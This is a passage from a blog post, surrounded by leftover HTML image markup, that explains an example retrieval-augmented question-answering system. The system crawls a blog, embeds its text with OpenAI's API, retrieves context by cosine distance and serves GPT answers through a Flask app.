https://substackcdn.com/image/fetch/$s_!OhV6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 848w, https://substackcdn.com/image/fetch/$s_!OhV6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 1272w, https://substackcdn.com/image/fetch/$s_!OhV6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OhV6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png" width="1245" height="641" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:641,&quot;width&quot;:1245,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;diagram&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="diagram" title="diagram" srcset="https://substackcdn.com/image/fetch/$s_!OhV6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 424w, https://substackcdn.com/image/fetch/$s_!OhV6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 848w, https://substackcdn.com/image/fetch/$s_!OhV6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 1272w, https://substackcdn.com/image/fetch/$s_!OhV6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Example implementation</h1><p><strong>Point 1:</strong> In the case of this particular implementation, the knowledge source is a blog. The knowledge is obtained by first extracting all the hyperlinks on the site and discarding any that point to other domains. Each unique hyperlink is then visited, and the content is extracted into text files. The text files are then used to create a data frame. Each row in the data frame is tokenised to facilitate analysing the length of documents, which is relevant for understanding the data&#8217;s distribution and optimising model input sizes.</p><p><strong>Point 2:</strong> After more processing to create smaller chunks (if required), the embeddings are generated and saved. In this case, to a <code>.csv</code> file.</p><pre><code><code>&lt;SNIP&gt;
https://emdeh.com/repositories
https://emdeh.com/news/announcement_7
https://emdeh.com/blog/2024/codify-walkthrough
Embeddings generated and saved to 'data/embeddings.csv'.
Preprocessing complete. Embeddings are ready.

# You can see the blog's links being iterated here.
</code></code></pre><p><strong>Points 3 - 5:</strong> When a user provides the prompt to the service, the embedding model will generate its vector representation.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!r9Pf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!r9Pf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 424w, https://substackcdn.com/image/fetch/$s_!r9Pf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 848w, https://substackcdn.com/image/fetch/$s_!r9Pf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 1272w, https://substackcdn.com/image/fetch/$s_!r9Pf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!r9Pf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png" width="1054" height="495" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/908195a6-5643-4dc4-b957-9888fe274527_1054x495.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:495,&quot;width&quot;:1054,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;image of prompt&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="image of prompt" title="image of prompt" srcset="https://substackcdn.com/image/fetch/$s_!r9Pf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 424w, https://substackcdn.com/image/fetch/$s_!r9Pf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 848w, https://substackcdn.com/image/fetch/$s_!r9Pf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 1272w, https://substackcdn.com/image/fetch/$s_!r9Pf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908195a6-5643-4dc4-b957-9888fe274527_1054x495.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Point 6:</strong> The service then compares the prompt&#8217;s vector to the Vector DB (in this case, the <code>.csv</code> file containing the blog&#8217;s vector representations is loaded into another data frame).</p><blockquote><p><em>The comparision is done using Cosine function to calculate the distance between the question&#8217;s embedding and each row&#8217;s embedding in the data frame. Cosine distances is a measure used to determine the similarity between two vectors, with lower values indicating higher similarity.</em></p></blockquote><p>The service will then iterate over the data frame to accumulate the most similar text until it reaches a pre-defined token limit. This then forms the context for the original prompt.</p><p><strong>Points 7 - 9:</strong> The context and original prompt are now passed to the GPT model, which returns a generative completion. The end-user is presented with this completion.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!72y2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!72y2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 424w, https://substackcdn.com/image/fetch/$s_!72y2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 848w, https://substackcdn.com/image/fetch/$s_!72y2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 1272w, https://substackcdn.com/image/fetch/$s_!72y2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!72y2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png" width="1047" height="482" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:482,&quot;width&quot;:1047,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;image of completion&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="image of completion" title="image of completion" srcset="https://substackcdn.com/image/fetch/$s_!72y2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 424w, https://substackcdn.com/image/fetch/$s_!72y2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 848w, https://substackcdn.com/image/fetch/$s_!72y2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 1272w, https://substackcdn.com/image/fetch/$s_!72y2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F964c150f-1eff-4172-a524-3a6f92e40507_1047x482.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Code overview</h1><h2>Data Collection and Preparation</h2><p><code>preprocess.py</code> crawls web pages within a specified domain and systematically navigates through the website, extracting text from each page it encounters. The collected text undergoes initial preprocessing to clean and organise the data, making it suitable for further analysis.</p><p>The script then employs OpenAI&#8217;s API to generate embeddings for each piece of text. These embeddings capture the semantic essence of the text in a high-dimensional space, facilitating the identification of contextual similarities between different texts. The processed data and its embeddings are saved for subsequent use, laying the groundwork for the system&#8217;s question-answering capabilities.</p><h2>Flask Application for Question Answering</h2><p>With the data prepared, <code>app.py</code> serves as the interface between the user and the system&#8217;s NLP engine. This script initiates a Flask web application, providing endpoints for users to submit their questions.</p><p>Upon receiving a query, the application leverages the previously generated embeddings to find the most relevant context within the collected data. It then formulates this context and the user&#8217;s question as input for an OpenAI GPT model. The model, trained on vast amounts of text from the internet, generates an answer that reflects the specific information in the crawled data and its understanding of the topic at large. The answer is then returned to the user through the web interface, completing the cycle of query and response.</p><h2>Integration and Workflow</h2><p>Integrating <code>preprocess.py</code> and <code>app.py</code> creates a workflow that bridges web crawling and NLP-driven question-answering. Initially, <code>preprocess.py</code> lays the foundation by collecting and preparing the data, which <code>app.py</code> subsequently utilises to offer real-time answers. This allows the system to provide contextually relevant answers informed by the specific context. Users interact with the system through a straightforward web interface, making complex NLP capabilities accessible to anyone with a question to ask.</p><h2>Use-cases</h2><p>Together, these scripts leverage sophisticated machine learning capabilities to demonstrate how existing website data can be harnessed to build robust and interactive AI-driven ways to retrieve and discover knowledge.</p><p>For example, the basic capabilities demonstrated in this project could be applied to create a contextually-aware chatbot on a website.</p>]]></content:encoded></item></channel></rss>